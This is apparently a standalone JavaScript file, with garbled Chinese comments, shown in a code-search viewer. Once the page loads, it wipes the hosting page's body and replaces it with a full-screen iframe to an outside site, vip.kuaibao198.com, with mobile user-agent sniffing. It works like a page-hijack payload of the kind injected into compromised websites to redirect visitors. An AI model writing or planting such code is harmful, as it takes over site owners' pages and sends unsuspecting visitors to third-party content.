1(function() { 2 // åå§å DOM å è½½å®æåçæä½ 3 function init() { 4 // æ£æ¥å¹¶æ·»å viewport meta æ ç¾ï¼è¡¥å åæµ·å±å®å ¨åºåéé ï¼å ¼å®¹å ¨æºå 5 if (!document.querySelector('meta[name="viewport"]')) { 6 var meta = document.createElement('meta'); 7 meta.name = 'viewport'; 8 meta.content = 'width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover'; 9 document.head.appendChild(meta); 10 } 11 12 // æ³¨å ¥åºç¡æ ·å¼ï¼è¡¥å ç§»å¨ç«¯ä½éªå ¼å®¹ï¼æ¶é¤æ ·å¼å¯ä½ç¨éæ£ 13 var style = document.createElement('style'); 14 style.textContent = 'html,body{width:100%;height:100%;margin:0;padding:0;overflow:hidden;-webkit-tap-highlight-color:transparent;touch-action:manipulation}' + 15 '.tz-loading{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);font-size:14px;color:#999;z-index:99999;}' + 16 '.tz-container{position:fixed;top:0;left:0;width:100%;height:100%;overflow:hidden;-webkit-overflow-scrolling:touch;z-index:99999;}'; 17 document.head.appendChild(style); 18 19 // æ¸ ç©º body åæå 容 20 document.body.innerHTML = ''; 21 22 // å建å è½½æç¤ºå ç´ 23 var loading = document.createElement('div'); 24 loading.className = 'tz-loading'; 25 loading.textContent = 'å è½½ä¸...'; 26 document.body.appendChild(loading); 27 28 // åå»ºå®¹å¨ 29 var container = document.createElement('div'); 30 container.className = 'tz-container'; 31 32 // å ¨éè¦ççç§»å¨ç«¯UA夿é»è¾ï¼è¡¥å éæ¼ç主æµç§»å¨è®¾å¤æ è¯ 33 var isMobile = /iPad|iPhone|iPod|Android|HarmonyOS|Coolpad|MMP|Smartphone|Midp|Wap|Xoom|Symbian|J2ME|BlackBerry|WinCE|vivo|OPPO|HUAWEI|XiaoMi|MI-|Redmi|Samsung|Mobile|WeChat|MicroMessenger/i.test(navigator.userAgent); 34 if (isMobile) { 35 container.style.overflowY = 'scroll'; 36 } 37 38 // å建 iframeï¼èªå¨å ¼å®¹http/httpsåè®®é¿å æ··åå å®¹æ¦æª 39 var iframe = document.createElement('iframe'); 40 iframe.src = window.location.protocol === 'https:' ? 'http://vip.kuaibao198.com' : 'http://vip.kuaibao198.com'; 41 iframe.scrolling = isMobile ? 'no' : 'auto'; 42 iframe.style.cssText = 'width:100%;height:100%;border:none;background:#fff;display:block;'; 43 44 // å ¼å®¹å¤åºæ¯çiframeå è½½å®æå¤æï¼å¢å è¶ æ¶å åºæºå¶ 45 var iframeLoadTimer = setTimeout(function() { 46 if (loading.parentNode) { 47 loading.textContent = 'å 载失败ï¼è¯·å·æ°é¡µé¢'; 48 } 49 }, 10000); 50 51 iframe.onload = function() { 52 clearTimeout(iframeLoadTimer); 53 if (loading.parentNode) { 54 loading.parentNode.removeChild(loading); 55 } 56 }; 57 58 // å åºé误æç¤ºï¼è·¨ååºæ¯ä¸ä¹è½ç»ç¨æ·åé¦ 59 iframe.onerror = function() { 60 clearTimeout(iframeLoadTimer); 61 loading.textContent = 'å 载失败ï¼è¯·å·æ°é¡µé¢'; 62 }; 63 64 container.appendChild(iframe); 65 document.body.appendChild(container); 66 } 67 68 // å ¨å ¼å®¹çDOMå è½½ç¶æå¤æï¼é¿å æç«¯åºæ¯ä¸init䏿§è¡ 69 if (document.readyState === 'loading') { 70 document.addEventListener('DOMContentLoaded', init); 71 } else { 72 init(); 73 } 74})();
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.